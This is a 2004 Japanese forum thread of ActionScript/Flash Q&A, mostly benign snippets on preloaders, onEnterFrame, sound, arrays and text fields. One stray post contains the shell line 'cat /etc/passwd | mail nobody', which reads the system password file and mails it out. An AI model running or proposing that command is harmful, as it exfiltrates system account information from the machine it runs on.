ActionScript 物凄い勢いで怪盗するスレ その3
2 :
Now_loading...774KB :04/05/22 14:08 ID:g94zg167
3
4 :
Now_loading...774KB :04/05/22 14:11 ID:IvxkI0pm
3だったら今から国会議事堂前で腹上死する
なんというかAS書籍に逆引き辞典も入れたらどうだろう・・・
>>7 いろいろなやり方があるからなんともいえないんですが
9 :
Now_loading...774KB :04/05/23 00:34 ID:6L7UJD4u
外部からSWFを読み込んでいる時のプリローダを作りたいのですが、読み込んでいる 過程はonDataで捕まえるんですか? どなたかご教授おねがいできませんか?
>>9 ぶっちゃけ試してみればいいのでは?
俺はonLoadで作っちゃったから確認してないや
11 :
9 :04/05/23 00:43 ID:???
>>10 すいません・・・
onDataは読み込み完了ってなってたので、onLoad時にローディングしてる
ムービーを再生させたほうが無難ですよね、自信ないけど
12 :
10 :04/05/23 00:52 ID:???
>>11 getBytesTotal()を毎フレーム取得してみるとかでもいいんでないかな
typeof(Hoge_mc.getBytesTotal())=="number")でも十分かと思われ
どうせ詳細なパーセンテージとるならこのやり方になるだろうしね
13 :
10 :04/05/23 00:52 ID:???
括弧が多い orz
りぷれいボタンの作り方を教えて
_root.gotoAndPlay(1);をボタンに仕込む
>>10 自分自身でローディングを管理する場合はいいんだけど、
親ムービーから子ムービーのgetBytesTotal()を取るときは注意が必要。
読み込み初期時はおかしな値が返ってきます。
getBytesLoadedと比較して、読み込み完了ってなことをやると失敗する可能性があったりします。
プリローダプログレスはonEnterFrameで行って、読み込み完了はonDataで見るのが安全ぽい。
その場合でも、onData内でgetBytesLoadedとの比較は必要らすぃ。
って、よく見たらtypeofでこの問題を解決してるんですね!スゲェカシコイ!!
>>10 に感謝の意を表したいのであえてこのままカキコ
18 :
Now_loading...774KB :04/05/23 06:18 ID:YaUlsrKB
WinXP FlashMX使用 初歩的な質問かと思うのですが、どうしても出来ません。 音楽をFLASHに入れたのですが、一曲目に入る音楽は画像と合っていますが、 二曲目(一曲目の3分後に挿入)の音楽がどうしても画像とズレます。 両方ともストリーミングにしているのですが、音楽が鳴って欲しい所より早く鳴り始めます。 二曲目をイベントにした所、もっと早くに鳴るようになりました。 どなたか解りましたらご教授下さい。
19 :
9 :04/05/23 21:52 ID:???
読み込まれるもとのSWFのはじめのフレームでgetBytesTotal()とgetBytesLoaded()で 比較してプログレスバーのアニメ表示、getBytesTotal()==getBytesLoadedでスタート するフレームラベルに飛ばす。 読み込むほうでloadMovie("読み込み.swf")で読み込みで処理しました。 10さん、17さんの話を想像するともっと効率的なやり方が出来そうですが 今の自分にはこれが精一杯でした・・・ ちなみに質問です。 読み込まれるSWFのなかで_root.〜とすると親の方のルート位置を指定する ことになるんですよね?
perlで言う所の、文字列変換。 例えば以下のようなコマンド体系はASで存在するでしょうか? $XXX = ~ s/abc/ABC/g; 文字列XXXの中の abc 全てを ABC に置きかえるような感じです。
>>21 正規表現は無い。
その程度の置換ならすぐに実装できるけどね。
正規表現って色んな言語で話題に出るのに、何故か基本実装に組み込まれにくいんだよな JavaもPerl5ライブラリをインポートって形だし、妙にサービス不足を感じてしまう
winXP MX2004 a.testにカンマ区切りの文字を入れて、左側から一つずつ呼び出すのに ↓ASをここで教えていただきました。その説はありがとうございました。 a.textに A文,B文,C文〜合計20文 a.text.split(",")[cnt%field]; if (++cnt>=field){ だっふんだ field = 20//カンマ区切りの20文 これで、20文まで順に呼び出して、20文目が終わると「だっふんだ」を 実行する事ができたのですが、これを、18文だった場合でも、カンマ区切りの 文字列が終わった段階で「だっふんだ」を実行するには、どうしたら よいでしょうか。 一応、20未満だった場合、(〜17文,18文,,)と最後のカンマを余分に付けて a.text.split(",")[cnt%field]; if (++cnt>=field){ だっふんだ } else { if a.text == "" だっふんだ } と、空白だった場合も「だっふんだ」になるようにと思ったのですが、 「undefind」が出てダメでした。うまく説明できませんが、もし解る 方がおりましたら、ご指導願います。
>>23 文字扱うのに便利は便利だけど、必須って訳でもないからね>正規表現
まぁ、JavascriptにはあるんだからASにも有っても良いと思うけど。
>>24 var b = a.text.split(",");
field = b.length;
これでfieldに文の数が入る。余計なカンマをつけると数が狂うから付けないこと。
文を呼び出す時は
bun = b[cnt];
> a.text.split(",")[cnt%field];
からするに、cntが文の数超える事があるなら
bun = b[cnt%field;
スクリプティングの質問という訳ではないのですが、多少教えてください。 プログラミングのド素人からASを始めて勉強し、ある程度動かせるようになったので、他の言語をやろうと思いました。 そして、JavaScript ⇒ HTML ⇒ perl の流れで、CGIを勉強しています。 勉強する内に、ASとJSがそっくりのは知っていたのですが、perlも似ているなぁ。と感じました。 条件構文や、演算子、変数の扱いなどについて、知らない言語と思えないほど似ていると思ったのですが、 これは偶然なのでしょうか? それとも、何か同じ言語から流れてきていると言う事なのでしょうか? 気になったのでよろしくお願いします。
>>27 近代のプログラムのほとんどは、C++ またはVisualBasicのどちらかから派生しています。
そしてこれらも、C++なら C言語+オブジェクト指向
VBなら BASIC+C+++オブジェクト指向という特徴を有しています。
あとPerlはC言語から派生していて、言語の仕様が古く、嫌う人も多々います
プログラム言語は開発者の学習のしなおしに面倒がないように、似通って作られるので
似ているのは必然なのですね。
VBなら BASIC+C++ です。C++はオブジェクト指向を既に持っているので。
30 :
27 :04/05/25 12:13 ID:???
>>28 なるほど。同じ派生だったのですかー。そう言う基本的な事とか歴史とかも知る必要がありそうですね。
ASから入って他の言語の理解ができるとは思っていなかったので、何か嬉しいです。
ありがとうございました。
>>31 確かに派生したわけではないよなぁ....
この世界じゃパクリも派生も同じだけどな ↓次のかたどうぞ
>>7 のこと、もう少し詳しく教えてください。
本当にマスクだけで作ってるんですか?
それとも、MCすべてに点滅をつけていて、
フラグでon/offしてるのとか。
キャラクターが出てくるところまで いちいち見てられるか。
37 :
Now_loading...774KB :04/05/26 17:34 ID:PbQD72oM
海外、国内問わず fla ファイルのダウンロードできるサイトを探しています。 定番の Flashkit 、ultrashock 、actionscript.org などは知っているのですが 他に何かオススメのサイトってないでしょうか?
ここは自分で組む人達のスレなんで・・・。
39 :
Now_loading...774KB :04/05/26 17:51 ID:PbQD72oM
スレ違いスマソ。 ここにいる人達ってどういうの参考にしているのか気になったもので‥。
>>39 作りたい物をイメージして、それをスクリプトとして形にする。
最初はサンプルを改造したりとかで良いんでない?
本買えば腐るほどサンプル載ってるし。
42 :
Now_loading...774KB :04/05/26 18:57 ID:9Qfr8KGo
('A`) シンボルを「5回クリックしたら10フレーム目へ」って どうすればいいのでしょうか… 条件式?ClickNum == 5 ?よくわかりません…。
>>42 シンプルなのはフラグでしょ。
on(release){
hoge++}
onClipEvent(enterFrame){
if(hoge==5) _root.gotoAndPlay(10)}
なんてどう?
44 :
42 :04/05/26 19:24 ID:???
>>43 ('∀`) ヾ 成る程!アリガトウヤッテミマス
∨)
((
46 :
Now_loading...774KB :04/05/27 00:20 ID:CPXVF7Ta
loadMovieで画像をWEB上で読み込むときに、 拡張子が「JPG」のように大文字になっていると読めません!! これを回避するためのASってありますか?
拡張子を直せばいいのでは・・・
48 :
Now_loading...774KB :04/05/27 00:39 ID:CPXVF7Ta
>>47 その通りなのですが、あまりに枚数が多いし、この先まだまだ追加する予定なので
どうにか、手間を省けないかと思いまして...
んー、だったらリネーム関係のフリーソフト探すが吉かと。 いろんなツールを適度に使うのもオーサリングには必要だよ。
51 :
Now_loading...774KB :04/05/27 00:52 ID:CPXVF7Ta
やっぱりそれが一番いいですかね? 潔くあきらめて、リネームツールでがんばります...
複雑な方法で解決しても得られる実が少ないなら骨折り損。 Flashに全部やらせる必要はないさね。 とAS物質にあるまじき解答をしてしまう漏れ
53 :
Now_loading...774KB :04/05/27 10:45 ID:mF9IqleJ
テキストで質問です。 環境は2004MX、win2kです。 一度ホットゾヌで別スレに書いたのですがゾヌの調子が悪く、書き込んだスレも 消えていたのでこちらに書かせてもらいます。 テキストでチャットのログ消しみたいな処理をしたいのですが出来ません。 処理的には10行目までいったら1行目を消す感じです。 どなたかご教授をお願いします。 現状のソースです。↓ テキスト名:tLog 、テキスト変数(?)名:ttLog nEndPoint = ttLog.indexOf("\n", 0); if (-1 != nEndPoint) { Selection.setFocus("tLog"); Selection.setSelection(0, nEndPoint); tLog.replaceSel(""); }
54 :
53 :04/05/27 15:27 ID:mF9IqleJ
分かりにくい文章ですいません。 結局現状では配列で持たせて更新することにしますた。
55 :
Now_loading...774KB :04/05/27 16:29 ID:my7utV42
質問です。 hogeというMCに対して_xscaleの変更をおこなっているます。 自由変形ツールのほうで軸をいじってみても変わらないようなのですが、 この変更の軸を中心以外にすることはできないのでしょうか?
56 :
ppps0035.hakata02.bbiq.jp :04/05/27 16:34 ID:mQrxxoLs
a
57 :
fushianasan :04/05/27 16:35 ID:mQrxxoLs
テスト
>>55 基準点はスクリプトじゃ変更できなかったような・・・
>>55 MCを編集するときにでている十字マークがスクリプトでの変形の中心になります。
スクリプトで動的な中心点で変形するためには、数学的な手法を用いるか、
MCを入れ子にしてうまいことやってください。
60 :
デル1 :04/05/28 01:53 ID:YbM1u4Ra
>>26 レス遅れてすません。びっちり解決致しましたっm(_ _)m
61 :
初心者 :04/05/29 15:59 ID:0GDKwCyo
外部swfを起動中のswfに一部分だけ読み込ませる scriptというのはありますか?
62 :
初心者 :04/05/29 16:01 ID:0GDKwCyo
起動中のswfの一部分だけに訂正
マスクして見かけ上一部分ってのならFScrollPaneコンポーネントとかで出来るけど
cat /etc/passwd | mail nobody
65 :
Now_loading...774KB :04/05/30 00:22 ID:3QyuM5Wc
質問です。onEnterFrameなどでずっと繰り返すようにしている 関数を止める、もしくは無くす方法ってあるんでしょうか?
>>65 onEnterFrameにnullでも代入してあげれば?
67 :
65 :04/05/30 00:36 ID:???
あまりASのことは詳しくないのですがnullを 関数の引数として入れるということでしょうか? それをすると一回動くと止まってしまいますよね。 途中までずっと動いていて、ある条件があると止まるようにしたいのですが・・・。 私がやろうとしているのは、ゲームを作っていて敵をインスタンスとして 生成し、そのキャラクターの動きをonEnterFrameで付け それを倒した後に、敵が表示されたままそこの場所に止まるというのを 作ろうとしています。できますでしょうか?
68 :
65 :04/05/30 00:39 ID:???
あまりASのことは詳しくないのですがnullを 関数の引数として入れるということでしょうか? それをすると一回動くと止まってしまいますよね。 途中までずっと動いていて、ある条件があると止まるようにしたいのですが・・・。 私がやろうとしているのは、ゲームを作っていて敵をインスタンスとして 生成し、そのキャラクターの動きをonEnterFrameで付け それを倒した後に、敵が表示されたままそこの場所に止まるというのを 作ろうとしています。できますでしょうか?
69 :
65 :04/05/30 00:41 ID:???
あまりASのことは詳しくないのですがnullを 関数の引数として入れるということでしょうか? それをすると一回動くと止まってしまいますよね。 途中までずっと動いていて、ある条件があると止まるようにしたいのですが・・・。 私がやろうとしているのは、ゲームを作っていて敵をインスタンスとして 生成し、そのキャラクターの動きをonEnterFrameで付け それを倒した後に、敵が表示されたままそこの場所に止まるというのを 作ろうとしています。できますでしょうか?
うわっ、ごめんなさい。なんか3重投稿になってる。 吊ってきます。(;´Д`)
>>67 条件を満たした時だけnullを代入すれば?
72 :
65 :04/05/30 01:02 ID:???
>>71 あっ、関数内で自分自身にnullを代入できるんですね。
出来ました。ありがとうございます。
onなんちゃらは全てイベント時に呼び出される関数だから 値(というか関数の参照)をnullにしとけば無かったことにしてくれる。 クラスメソッドとしていつでも再代入できるようにしとくと、ON・OFFも効率よく出来ていいよ
74 :
Now_loading...774KB :04/05/30 12:35 ID:UNJlg6Xe
Win2000 / FLASH5 2つのSWFファイル(仮に「A.swf」「B.swf」とします)があり、loadmovieを 使って繋げています。 各ファイルはそれぞれ複数のシーンを持っており、画面に表示されたボタンを クリックすることで、次のシーンまたは前のシーンに切り替えることができます。 困っているのは、ファイルをまたぐ際の処理です。 「A.swf」から「B.swf」の最初のシーンへの切り替えボタンは作成できた のですが、「B.swf」から「A.swf」の途中のシーンに飛ばすボタンが作成 できません。 loadmovie(または別の関数)で特定のシーン(またはフレーム)に飛ばすには どうすればよいでしょうか。
>>74 MX環境なので5で出来るかどうかわからないけど
つなぎ役は_level0として、_level1にAもBもロードされるようにする。
んで、AもBも_level0のロード用の関数を呼び出して、
その関数内で自分の削除と相手のロード、指定したフレームに飛ばすようにすればいいよ。
ただしプリローダー風に作らないと、全て読み込む前にgotoが動いて失敗するかも
×gotoが ○gotoAndPlay
MovieClipの内容をメモリにだけロードする方法はありますか? 描画エリア外に避けておく方法だとFPSに影響してくるので避けたいのです。 ロード関数は外部ファイルを読み込む関係上、 MovieClip.attachMovie()ではなく、MovieClip.loadMovie()を想定しています。
78 :
77 :04/05/30 14:14 ID:???
これだけだとわかりずらいかな? つまりloadMovieメソッドにattachMovieメソッド並の機能を与える方法を探しています。
物凄く基本的なことだと思うんですが、 onEnterFrameとonClipEvent(enterFrame)の違いって何でしょうか? 私はいつもonClipEvent(enterFrame)を使っているんですが・・・
>>79 書く場所。
タイムラインとクリップ
動作が微妙に違うとか、
速度とかはエロい人教えて。
onClipEvent(enterFrame)は予めインスタンスがセットされている場面でのみ有効 動的に処理内容を切り替えたければonEnterFrameを使う
>>78 _visible=false;とstop();をすればFPSに影響しないのかな?
誰か試した人よろ
83 :
79 :04/05/30 14:52 ID:???
>>80 >>81 ありがとうございます
そういうことだったんですか
いつも動的にやる場合はフラグ使って処理してました
onEnterFrame使えばやりやすくなるところが結構ありそうですね
>>83 超基本的な質問スレでさっそく例題が出てたよ
85 :
Now_loading...774KB :04/05/30 17:31 ID:JP7/Chg4
時計の数字を画像にしたいときはどうすればいいですか? テキストでの組み方はわかるんですが・・。
ダイアっぽい形のデジタル数字にしたいってこと? 12:30という時間があるとしたら、"1","2",":","3","0"と分解して それぞれに対応する画像を表示させれば出来るよ。
>85 0〜9までの数字を書いたムービークリップを作ってgotoAndStop
>>86 >>87 なるほど!ありがとうございやす!
分解するときはString.substrで間違ってませんか?
>>88 String.split("");でいけた気がする
90 :
74 :04/05/30 18:21 ID:???
>>75 すみません、スクリプトが分からないのですが教えて頂けないでしょうか。
「A.swf」がシーン1〜5、「B.swf」がシーン6〜10 とします。
「B.swf」のシーン6のとき、「A.swf」のシーン5に飛ぶボタンとして、
以下のように記述しましたが動きませんでした。
on (release) {
loadMovieNum ("A.swf", 0);
gotoAndPlay ("シーン 5", 1);
unloadMovieNum (1);
}
_level0が処理部、_level1が動画部、この仕組みをまず理解してもらえないと説明しにくいなぁ まずloadMovieNumの使い方がこれにそってない あと_root.goto〜 this.goto〜 _level0.goto〜といった操作対象の指定を覚える必要が在る この2つが理解できたら次はプリローダーの理解。しかしまずは前述2つを覚えよう。
92 :
74 :04/05/30 19:04 ID:???
>>91 ありがとうございます。
ASの基本が全然分かってないことが改めて分かりました。
まずは回線切って、勉強して出直してきます。
次来るときはもうちょっとまともな質問持ってきます。ノシ
93 :
85 :04/05/30 19:09 ID:???
>>89 ぬーん、とりあえず秒の10の位だけ作ってみたのですが
時計が高速でつっぱしるだけでした。
onClipEvent(load){
function setTime(){
var theDateObj = new Date();
var theSec = theDateObj.getUTCSeconds();
sec = theSec.split("");
ss1.gotoAndStop(sec[0]);
}
}
onClipEvent(enterFrame){
this.setTime();
}
ss1が数字の画像0〜9まで入ってるクリップです。
なんか変でしょうか?
>>93 ぬ?私は87さんのやり方とは違うので説明しにくい。
私ならデジタル数字のひとつひとつを同じ大きさにして、attachMovieしてく方法をとる。
あとその文法で気になったところがひとつ。
var theSec = theDateObj.getUTCSeconds();
は
var theSec = String(theDateObj.getUTCSeconds());
でないかな
95 :
87 :04/05/30 20:22 ID:???
>85 いろんなやり方があると思うが上で示したムービークリップを使う方法だと MCを配置して、sec10、sec1とする var theDateObj = new Date() var theSec = theDateObj.getSeconds() var a = Math.floor(theSec/10) sec10.gotoAndStop(a+1) sec1.gotoAndStop(theSec-a*10+1)
96 :
85 :04/05/30 20:32 ID:???
>>94 >>95 うわぁぁ、ありがとうございやす!
何とか動きました!
何度も厨な質問に答えてくれてサンクス
97 :
Now_loading...774KB :04/05/30 22:59 ID:jl3OakGU
音楽についての質問です。 Flash5を使ってます。 ボタンを押して、音楽を途中から流す on (press) { // _root用「Soundオブジェクト」の生成 rootSound = new Sound(_root); // 識別子「Sound」のサウンドシンボルの読み込み rootSound.attachSound("Sound"); // 再生の開始 rootSound.start(10, 3 ); } のはこれで流せるんですが その音楽を途中で止めて、また途中から流す。 つまり無限ループにするにはこれをどうすればいいんでしょうか・・・?
98 :
97 :04/05/30 23:01 ID:???
うわ、ageてしまった。 ごめんなさい、吊ってきます( ノД`)
すいまそん。 過去ログで3DをASでやっているもののリンクがあった気がするんですが、 お気に入りに入れてたのを紛失してしまいました。 英語サイトで、矢印のようなのが3D回転してて、 点をドラッグすることで変形ができました。 ご存知の方がいましたら、教えてください。
誰か、Flashクリエイター認定試験って持ってる人いる? 上級の目標で、”高度なスクリプトを使ってインタラクティブなコンテンツを作る事が出来る” って書いてあるんだけど、いまいちピンと来なくてさー。 過去問題とかの本でも売ってれば見てみるか・・・。 どの程度が高度なスクリプティングなんじゃろね。
>>100 漏れも興味あるんだが、でかい本屋でも
なかなか過去問がみつからないんだよね。
CGIの連携とか、FCSについて
浅く広く知っておく必要があるとどこかで読んだ気がするが
気のせいかも
FlashMX2004とFlashMX2004Proどっちを買おうか迷ってます どっちがいいですか? スレ違いだけどここが詳しい人多そうなのでよろしくお願いします。
本気でやるなら、プロがいいよ。
>>97 音楽ファイルそのものを切るってのは駄目?
>>102 趣味程度でやるならむしろMXでもいいと思います。軽いですし。
通常とプロは普通に使うあたり差はないですけど
本気でやるなら
>>103 さんのとおりProがいいかと。
普通にFlash作っていれば確認程度の学習で取得できそうですね
108 :
Now_loading...774KB :04/05/31 21:31 ID:9/BQfBhI
現在何フレーム目かを調べる関数ってありませんか? MXを使用しています。
109 :
Now_loading...774KB :04/05/31 21:37 ID:wL9qlszV
ヘルプを調べる脳みそってありませんか? 何度も解決してます。
_currentframe
111 :
108 :04/05/31 21:49 ID:???
>>109 ごめんなさい。「フレーム」「現在」で調べても多すぎて諦めてました。
できましたら、今の場合どういうキーワードで調べるべきだったか教えていただけませんか?
>>110 ありがとうございました。
112 :
Now_loading...774KB :04/05/31 21:53 ID:Metm7tW/
>>112 言ってるいみがわからんが、全部flash
動画とかMC使ってるだけ
114 :
Now_loading...774KB :04/05/31 22:04 ID:0mFaF7TK
winXP flash5Jです。 ActionScriptでテキストで色かえるのは不可能でしょうか?
115 :
Now_loading...774KB :04/05/31 22:17 ID:Metm7tW/
>>113 ブラウザをリサイズするとメニューはずっと固定サイズで、
背景だけサイズが変わる、ということなんですが・・・
Stage.onResizeとupdateAfterEvent()でできると思いますが
_rootのタイムラインにこれ書いて Stage.scaleMode = "noScale"; myListener = new Object(); myListener.onResize = function() { _root.mca._height = Stage.height; _root.mca._width = Stage.width; updateAfterEvent() }; Stage.addListener(myListener); _root直下にmcaという背景用MCを置く でできた。
サービス良すぎ。さすがパスケース1
121 :
97 :04/06/01 07:49 ID:???
>>104 そういえば音楽を切る方法がありましたね( ノД`)
すっかり忘れてました。おかげで出来ました。
本当にありがとうございます
よく、_rootから見たMC "A"の座標を取得する際、 _root.A._x-_x と記述しますよね。 丸暗記していて、何故なのかと言う理屈がわからないので、簡単でよろしいので教えていただけないでしょうか。 _x は誰の座標なのか、どこから見ているのか・・・など、理屈を知れば色々応用できそうなので、 是非ともよろしくお願いします。
>>122 いろいろと実験してみるのが良いでしょう。
trace();
を使って見ましょう。
質問させてください。 ドラッグ&ドロップで、良く見かけるのがマス目に沿って動かせる奴なんです。 例えば 20px×20px のマス目にスナップする感じです。 これって、条件分岐で設定するのでしょうか? それとも何か簡単な方法がありますか? 教えてください。
>>124 10足して20で割ってfloorで小数点以下を捨てて、20倍する。
xmouseの端数を四捨五入したのをmc._xに代入すればいいんでねかな。 ムービークリップ座標 = Math.round(マウス座標/20)*20をXY共にやってみるとか。
やってみます!ありがとー。
128 :
97 :04/06/01 16:14 ID:???
あぁぁぁぁぁ......... その方法をすっかり忘れてましたorz 教えてくれてありがとうございます。
129 :
Now_loading...774KB :04/06/01 21:01 ID:x9+6JIYL
だ...だみだ ダイナミックテキストに変数の中身が表示されません。 100%ターゲット、変数名のスペルはあっております。 トレースでも 確認しますた。ヘルプ見ても詳しく載ってないし... なぜ.. なぜなのでしょう? 何かおかしな設定をしてしまったのでしょうか? 誰か教えて 詳しい人!
130 :
129 :04/06/01 21:19 ID:???
原因がわかりますた!! マスク内では表示できないみたいです。 ...しかし こんなバカな 仕様があっていいのでしょうか? MXだけ?
>>130 フォントを埋め込めば表示されるかと思うが、日本語だと容量がきついな
>>129 スクリプトから、動的にマスク適用すれば、
ダイナミックテキストにでもマスク処理できますよ。
こっちも活用せよ!
ボタンを押したらアルファが下がって もう一度ボタンを押したらアルファが100になる(元に戻る) って言うのはどうしたらよいでしょうか? on (release) { main._alpha = 20; } 以降のスクリプトが分かりません・・・
>>136 on(release){
main._alpha=20
if(main._alpha==20) main._alpha=100 }
>>137 それじゃダメだろ。
>>138 これ貼ってみれ。
on(release){
if(main._alpha==100){
main._alpha=20;
}else{
main._alpha=100;
}
}
多次元配列について質問なのですが 400*20*20 の三次元配列をすると cpu稼働率100%になってしまって 下手するとフリーズしそうになります なにかよい解決法はないでしょうか? ちなみに 配列の中に入る数字は 0 1 2 の三種類です
う〜んならないです・・・ ボタン押してもアルファが低くならなくなって変化がなくなってしまいました どっか間違えてますかね? on (release) { main._alpha = 20 if (main._alpha=20) { main._alpha = 100 } }
>>139 出来ました!!
ありがとうございました
>>140 状況がよく分からないけど、Array クラス自体の
処理の重さがネックになってるのだとしたら、自前で
処理が軽くなりそうな関数を作ってみるのはどうか。
this.myArray = new Object();
this.myArray.a = new Array(400*20*20);
this.myArray.get = function(x,y,z){
var i = (400 * 20) * z + 400 * y + x;
return this.a[i];
}
this.myArray.set = function(x,y,z,n){
var i = (400 * 20) * z + 400 * y + x;
this.a[i] = n;
}
オーバーフロー等のエラー処理も全然やってないし、
これでいけると思ったら自分で拡張してみそ。
質問させてください。 _root.A_mc の中に A_fct() と言う関数を設定してあります。 _root.B_btn を押すと、 flag=(flag==1)?0:1 としてあり、flagが1の時だけ A_fct() 関数を動かしたいです。 関数記述の場所は_rootに移動させる事も可能です。 enterFrameで flag が1の時だけ関数を実行したい場合、 どこにどのようにして記述するのが良いのでしょうか? よろしくお願いします。
145 :
144 :04/06/05 12:34 ID:???
〜_root.B_btnのスクリプト〜 on(release){ flag=(flag==1)?0:1} onClipEvent(enterFrame){ if(flag==1)_root.A_mcA_fct()} と記述して動かす事が出来ました。 スマートな動かし方のアドバイスなどありましたらヨロシクお願いします><
>>143 囲碁の棋譜再生なんですが
計算しながらだと 遅いので 最初に全部計算を済ませて
盤面を全て記憶してから読み出して使おうとおもって
kifu[400][19][19] これで 簡単に読み出せればらくだなぁと
思って配列を生成してみたのですが プレビューで 固まってしまいました^^:
>これでいけると思ったら自分で拡張してみそ
ちょっと構造がよくわからないので 本見て理解してみます^^
>>146 巨大配列を単純にforループで検査すると固まるようになっちゃうのはしかたないだに。
配列検査用のMCを作って、
そのMCの1フレーム目で配列値の一つを検査して次のフレームへ、
んでそのフレームでgotoAndPlay(1)で検査フレームへ、
って感じでまわしてあげれば、かたまらないです。
棋譜再生くらいなら差分計算しながらでも十分速い筈かと 囲碁で盤面最初に全部記録はかなりキツイはず。
>>148 確かに進むだけなら満足なスピードなんですが
戻る場合に最初から並べなおすため とても時間がかかってしまいます
取られた石を戻す処理は出来そうにないので^^;
>>149 だから進みながら配列作って、戻れるようにすればいいじゃん、って話では?
>>150 なるほど そういう意味だったんですか^^;
結局全部の盤面を記憶する 配列は必要ですね^^
ASでプロパティーで言うRGBの変更は出来ますか? 出来るなら何を記述すれば言いか教えていただけないでしょうか?
>>152 myColor = new Color(myObject);
myColor.setRGB(0xffff00); //黄色
155 :
152 :04/06/05 18:08 ID:???
SETRGBでは塗りつぶされてしまうため カラーの高度な固定のように色を操れるスクリプト探してやってみたんですが よく分からずやってみても反映されません ボタンを押すとMCが赤っぽくなるっていう風にしたいんですが ↓ボタンに書いたスクリプトです on (release) { myColor = new Color(main); myColorTransform = new Object(); myColorTransform = {ra:'0', rb:'100', ga:'0', gb:'0', ba:'0', bb:'0', aa:'0', ab:'0'}; }
156 :
152 :04/06/05 19:04 ID:???
すいません自己解決しました
ボタンAを押すと関数XXXを呼び出して実行。 ボタンBを押すとその関数が停止します。 ただし、関数XXX内で 0〜6 をループしている変数があり、 ボタンBを押してから、次の 0 になった際、止まると言う条件を設定したいです。 どのようにしたら良いかアドバイスください。
>>157 試してないからかなり大雑把だけど、これでできるかと
//buttonA
on (release) {
flg = true;
cnt = 0;
this.onEnterFrame = hoge; //hogeという関数
}
//buttonB
on (release) {
flg = false;
}
//_root.hoge関数
function hoge() {
if (_root.cnt==0 && _root.flg==false) {
delete _root.onEnterFrame
return;
}
//したい処理
}
159 :
157 :04/06/05 21:21 ID:???
やってみます。 ありがとう。
テキストフィールドに入力した文字を記憶させて もう1度他のフレームのテキストフィールド表示させるにはどのようにしたら良いのでしょうか?
>>160 txt = TextA.text;
TextB.text = txt;
162 :
160 :04/06/05 22:42 ID:???
>>161 すみません、もう少し詳しくお願いできないでしょうか?
本当AS初心者なもので…ごめんなさい…(;′Д`)
>>162 AS使うのが億劫なら
テキストフィールドの変数のところにtxtと入れとけばいいよ。
テキストフィールドに入力された値は勝手にtxtに代入される。
逆にtxtに代入した値はテキストフィールドにも反映さえる。
164 :
160 :04/06/05 23:01 ID:???
>>163 ありがとうございます。
更に質問で申し訳ないのですが、その設定した変数をダイナミックテキストの中で
部分的に表示することはできますでしょうか?
○○○「入力した文字」○○○○、のような感じにしたいのですが…。
>>164 TextB.text = "前文字列" + TextA.text + "後文字列";
変数で関連づけたらそれは無理だから、こうするしかないかな
160さんのイメージする具体的な処理を教えてよ。 flaをうpしてくれたら説明がしやすい。
167 :
160 :04/06/05 23:27 ID:???
168 :
160 :04/06/05 23:31 ID:???
>>166 途中で書き込んでしまいますた;
167のような感じにしたいのです。。
>>168 TextA、TextBともに変数にtxtを設定。
OKボタンに
on (release) {
txt = txt + "さん、こんにちは。"
}
170 :
160 :04/06/05 23:53 ID:???
>>169 できました…!!
ありがとうございました!マジ感謝です!
雑なモナーをえらく(名古屋弁)可愛く書けるのがうらやましいw
シェアドオブジェクトを覚えるころになるとこの手の仕組みは楽しくなるね
一度押すとSTOPボタンを押すか曲が終わるまで押せない音楽のスタートボタンは どう作れば良いでしょうか? 今のところ スタートボタン on (release) { sound.start(); } ストップボタン on (release) { sound.stop(); } でスタートを押すたびに音が重なってしまいます・・・・
一度最初に外部SWFをフラッシュ内に読み込んで ボタンでLoad無しにすぐそのSWFを再生したいのですが どうスクリプト書けばよいでしょうか? 今のスクリプトでは毎回SWFのURLにLoadに行ってしまいます・・・
177 :
Now_loading...774KB :04/06/06 09:38 ID:h9qG9Xh0
asでグラフ書くこと出来るんでしょうか? 例えば、y=x^2のグラフだとどういう感じになるんでしょう?
出来る。 ただ、座標を細かく取得しなくちゃならない。 時系列を追って描写する事も可能。 まぁ、エクセルにやらせた方が便利。
>>177 ふつーに書ける。
this.lineStyle(0,0,100)
this.moveTo(-100,100);
for(x=-100;x<100;x++){
this.lineTo(x,x*x/100);
}
コペピしてみれ。
180 :
Now_loading...774KB :04/06/06 10:18 ID:s00Hx0HN
>>178 ,179 おお、出来た・・・(・ω・;)
ありがとうございまふっ!
181 :
Now_loading...774KB :04/06/06 15:47 ID:1jIUw/WF
教官殿!!質問でっす! まず、ルートのフレームアクションにa=100;と書きます。 ここで、その子、孫、・・・のフレームアクションにa=_parent.a;と書いていくのと、 元々をglobalで宣言しておいてそのaを使うのとどちらがいいのでしょうか。
ケースバイケース・・・。 と言うか、ダイレクトに参照すれば良いんで無いか?
>>181 a なんて変数はグローバルで使うべきでないです。
グローバルで使うなら長くて意味のある変数名にするべきです。
184 :
181 :04/06/06 15:59 ID:???
お返事ありがとうございます。
>>182 何度も書くような場合だとダイレクトな参照は手間になるかなあと思いまして。
>>183 実際使うときには気をつけたいと思います。
オブジェクトの値を for(id in obj){} で抽出されないようにする関数を忘れてしまいました。 ご存知の方は構文付きで教えていただけないでしょうか?
for (it in obj){} でしたねw
質問させてください。 hogeはダイナミックテキストの変数名です。 〜フレームアクション〜 a = getTimer() hoge = a と記述してあり、 条件が揃うと次のフレームに行きます。 条件が揃った時の a を記憶して、次のフレームで固定数として使用したいです。 次のフレームで表示させるダイナミックテキストは新しく作るのでも問題ありません。 良い方法がありましたらよろしくお願いします。 setIntervalを使用したタイマーですと、フラッシュの構造上問題がありそうだったので、 getTimer()でよろしくお願いします。
188 :
187 :04/06/06 17:52 ID:???
フレームのスクリプトで、 onEnterFrame = function(){ a = getTimer() hoge=a } でした。すません。
189 :
185 :04/06/06 18:04 ID:???
自己解決しました。スンマソン orz
>>188 onEnterFrame = function() {
this.hoge = getTimer();
if (jouken==true) {
delete this.onEnterFrame;
//this.onEnterFrame = this.myFunc;
}
}
その条件を満たしたタイミングでonEnterFrameを消してあげるか
もしくは別のenterFrame用関数を関連付けるかのどちらかで出来ますよ
"次のフレーム"というのがenterFrameの性質上矛盾してそうな感じを受けますが
外部SWFを再生せずにMCのオブジェクトとして読み込み 読み込み終わったら次のフレームに行きたいのですが どう書けば良いでしょうか?というより可能でしょうか? 分からないんですがとりあえずこう書いたらSWFが勝手に再生されて 次のフレームに進まないです stop(); move1 = new MovieClip(); move1.onLoad = function(success) { if (success) { play(); } }; move1.loadMovie("00.swf");
191 :
188 :04/06/06 18:56 ID:???
>>189 tyty
フラグ立てで何とかなりそうです。
ありがとう。
192 :
Now_loading...774KB :04/06/06 19:41 ID:nKUtL5to
